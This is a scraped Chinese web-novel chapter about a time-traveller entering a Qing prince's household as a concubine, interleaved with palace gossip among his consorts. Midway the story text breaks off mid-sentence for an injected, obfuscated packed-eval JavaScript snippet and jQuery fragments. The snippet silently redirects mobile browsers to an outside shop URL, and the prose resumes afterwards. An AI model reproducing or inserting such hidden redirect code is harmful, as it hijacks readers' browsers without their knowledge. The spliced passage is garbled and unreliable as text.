文趣网 > 其他小说 > 在四爷府里的吃吃喝喝日常(清穿) > 3. 吃瓜的第三天
    夜色已深。

    贝勒府今日极为安静,不说刚怀上的瓜尔佳格格,就是在做月子的李格格也消停了不少。

    主子爷和福晋下午吵了一架,虽然封锁了消息,可内宅这地方稍微有点风吹草动便闹得人尽皆知,哪里能封得住。

    李格格躺在床上,哎呦哎呦任由嬷嬷揉她肚子,过了会儿才有气无力地缓过来。

    “咱们这位福晋之前可是对内宅严防死守,就怕咱们坏了爷的身体,今儿个怎么转性了,亲自去宫里讨要人了?”

    旁边的大丫鬟翠屏扶着她坐起,又在她背后塞了软枕。

    “呵。”李格格嘴角勾了下,冷笑一声,“我看呐,这是忌惮贝勒府里的小格格和两个阿哥都从我肚皮里爬出来。”

    翠屏哪里敢附和,被人抓住把柄,格格没事,她是死路一条。

    “现在瓜尔佳氏也怀上了,人家是满洲大姓,身份跟咱们不同,福晋想抱孩子也得看人家愿不愿意给。”

    翠屏低头将回奶的药汤端了过来。

    李格格喝了一口,皱眉,还是闭眼一口闷了下去。

    她一阵干呕,连忙喝下翠屏递过来的果茶压下去。

    等这股子反胃劲儿过去,她才喘口气继续道:“没有儿子到底不行,爷平时不爱去她那,她想生也没处生去,话又说回来这么多年了,她要是能生早生了,她这人我还能不了解,肯定是想趁着我坐月子见不了爷,找些新人来分我的宠。”

    “新人运气好得了孩子,她也能有借口抱去养。”

    李格格一副看透了的表情,“她这人面子宽厚,私底下谁还不知道谁?”

    像是想到什么,李格格突然笑出声,“她越过爷进宫要人可是犯了爷的大忌,爷这人可是记、爱憎分明,福晋这回想如愿,也得看爷答不答应,别到时候豁出去讨来的人不得爷的心。”

    东院坐月子的李格格如何嘲讽福晋,外人无处得知,贝勒府里另一位特殊人物瓜尔佳氏则心思翻滚,她怀疑是不是自己带来的连锁反应。

    正房内,福晋正坐在佛前念经,这么多年她已经养成了习惯,哪怕做了皇后也没有改变。

    “主子,西院那边收拾好了,下面的人过来问是不是循之前几位格格进府的旧例布置?”

    福晋没有停下手中的动作。

    “让人办喜庆点,内务府那边可有说安排在了哪日?”

    “是大后日。”

    回话的是福晋身边的大丫鬟彩云,彩云不是福晋最信任的人,在她之前还有一位,那位是福晋的奶嬷嬷,也是福晋最信任的人。

    自大阿哥去世后,福晋病了,身边都是这位奶嬷嬷在张罗。

    福晋缠绵病榻好几个月,最近两个月才稍稍好些,谁知这一好福晋便将奶嬷嬷送回家荣养,谁也不知道发生了什么。

    然后就是最近的事,没了那位奶嬷嬷,福晋的心思更加令人琢磨不透了,彩云叹了口气,她也不敢问。

    唯一庆幸的是福晋身体慢慢好转,应当是佛祖保佑。

    *

    陈婧意翘着腿躺在炕上,正院那边有声音传到她这边来。

    那是她的家人聚在一起商讨她的终身大事。

    至于她为何在这里?

    陈婧意跟个毛毛虫一样匍匐爬到了炕头从木箱里翻出了一瓶可乐美滋滋喝起来。

    当然是她的终身大事家里每个人都能参与,唯独她。

    嘻嘻,好喝。

    有穿越前辈就是好,可乐都被苏出来。

    枕着被子,她将今日吃到的瓜结算,嚯,完整度只有八十?

    那是不是还有后续?

    这个不重要,她飞快翻开小说。

    哇,这个故事也太野了,看得人脸红心跳,谁说古代人保守了,跟这些人比,她才是保守的那个。

    陈婧意沉浸在精神榨菜中,不是她不关心自己的终身大事,而是她被排除在家庭会议之外了。

    “你安心等着出门,陪嫁的事跟你无关。”

    现在的她只能躲在房里偷看买回来的颜色话本。

    ……

    “内务府的来人提过,明后天会将嫁妆送过来,大后天贝勒府派人来接小妹。”

    说话的是这个家的长子陈靖仁。

    二房育有五子一女,五子按五常仁义礼信智排序。

    今日内务府的人便是陈靖仁接见。

    陈老爷子摇摇头,“内务府提供的嫁妆都是花架子,中看不中用的玩意儿。还有两天时间,是赶了一点,能凑多少是多少,剩下的钱折算成体己给三姐儿带上。”

    康夫人红着眼睛点头。

    陈家老爷子看二儿媳妇这样,摆明了是不情愿把女儿送到那种地方,不放心的警告了一句。

    “老二媳妇,甭管心里怎么想的,面上都得给我摆上高高兴兴的姿态,三姐儿能有这个福气,那是万岁爷的恩赐!”

    康夫人揉了下眼睛,低声解释,“儿媳不是不知道,只是小六那性子,哪里是能进高门大户的人。”

    她家小六是被她宠着长大,心思直白,去那大宅院里还不知道受多少磋磨。

    做娘的哪里能舍得?

    “现在想这些也没用了,高高兴兴接受吧。”

    能怪谁?只能怪他这孙女容貌出挑,被选中了,真嫁到普通人家那样貌也守不住。

    想到这个孙女是个心大的,这样的人活得没心没肺,日子总能过下去,陈老爷这才松了神色。

    “三姐儿进贝勒府是大事,我知道这几年你们手头紧,办了几场婚宴,手头没银子了吧?”

    陈爹连忙点头,“是是,小二、小三、小四的婚事连着办,本来想在小五这缓缓,没想到又撞上了小六这事儿。”

    “老二,都在家呢。”

    外面传来大伯的声音,陈婧意爬下床掀开厚帘子打开点门缝,就看到裹得跟企鹅一样的大伯一家连同刚进门的新媳妇都过来了。

    一大群人全挤进了正屋。

    陈婧意抖了下没过去,外面太冷了,她来那会儿是夏天还没感受过北京冬天的威力。

    作为记名秀女,看管的还是挺严,平时她都是待在家里,也就是堂哥结婚她才能出门透透气。

    好在还能看小说,不然这日子还不知道得多难熬。

    “来得正好,一家子都出点力,把三姐儿的陪嫁弄妥妥的。”

    “爹,我们手里有三百两银子,给三姐儿添妆。”

    你一言我一语,嫁妆总金额上升到一千两了。

    一千两!

    她一家吃几顿大餐都没花掉一两银子,一千两的购买力,放在后世快有五六十万了吧?

    其实想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631693|206382||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想,进四阿哥府也不是没有好处。

    不用担心家暴,被人吃绝户,最起码吃喝不缺,养老有保障。

    要说坏处,可能是不能出门,这个没问题,只要有网,她在哪里都OK。

    陈婧意很看得开,她跟女主是两种人,她从不内耗自己,所以看到内耗型女主她都能憋屈地气出内伤。

    ……

    时间过得很快,好像一眨眼的功夫就到了。

    天还未亮陈婧意就被揪起来了,洗澡梳妆打扮,天色才微微亮,她已经收拾妥当,就等贝勒府派人过来接。

    当然,肯定没那么早,陈婧意照着镜子,看着里面粉粉嫩嫩的自己感叹一声。

    “好像个礼物。”

    然后背就被拍了一下,力度不算大。

    “你这孩子在说什么?”

    康夫人眼睛红肿给了她一个警告眼神,“进贝勒府要慎言慎行,可不能跟在家里一样没大没小。”

    这话她从前天就开始听了,听得耳朵都快起茧子了。

    她没在这时候辩驳,总觉得她妈现在是个快要在临界点爆炸的气球,戳一下就得爆。

    王府的人来得不算早,也不算晚,陈婧意早前还睡了回笼觉——靠在椅背上。

    王府的骡车到了,她被大哥背了出来。

    一家人也没说上几句话,她就被请上车拉走了。

    车子一晃一晃,速度极慢,她偷偷掀开一条缝看外面,也没什么好看的,两边都是墙,还有坐在墙根脚下晒太阳的人。

    车子走了很久,真的很久。她中间还起来活动过几次,也幸好早上没有吃喝,不然也没地方方便。

    车子中途停了很长一段时间,停车那会儿困劲儿上来她又睡了过去。

    睡得不熟,等车子启动,她头磕在车窗上才清醒,发髻好像歪了,她又手忙脚乱去扶头发。

    等车再次停下,有人站在车外说。

    “格格请下车。”

    陈婧意掀开车帘,外面是嬷嬷模样的人,领着两个丫鬟,丫鬟过来扶她下车,然后她被送进了一间空房。

    进屋没多久,两个丫鬟忙活起来,其中一个捧着衣服过来,看样子是要帮她换上。

    陈婧意吓了一跳,连忙躲开。

    她不习惯陌生人碰她。

    “格格,快些换上衣服,还要赶着去给福晋敬茶。”

    陈婧意这才想起,家里好像提过等福晋喝过妾室敬的茶,这仪式才算结束。

    “我自己来。”她抢过衣服风风火火往屏风后面钻,一边脱衣服一边留意屋内情况。

    屋子不大,二三十平,这应该是她未来很长一段时间居住的地方。

    一个人住还行,她来的时候搜了不少信息,还以为得住大通铺呢,幸好不是。

    换上衣服,陈婧意留意到布料真不错,这么一折腾也没静电,比那些聚酯纤维强多了,当然也比她今日穿来的那套棉袄子好看。

    换好衣服走出去,丫鬟走过来帮她整理了有些歪的发髻。

    陈婧意注意到,贝勒府派发过来伺候她的人并不多,只有两人,都不大,十二三岁,不过被调教得规规矩矩,一点也不像这个年纪的孩子。

    “格格,该走了,别让福晋久等。”门外的嬷嬷催促道。

    陈婧意就注意到丫鬟加快了动作。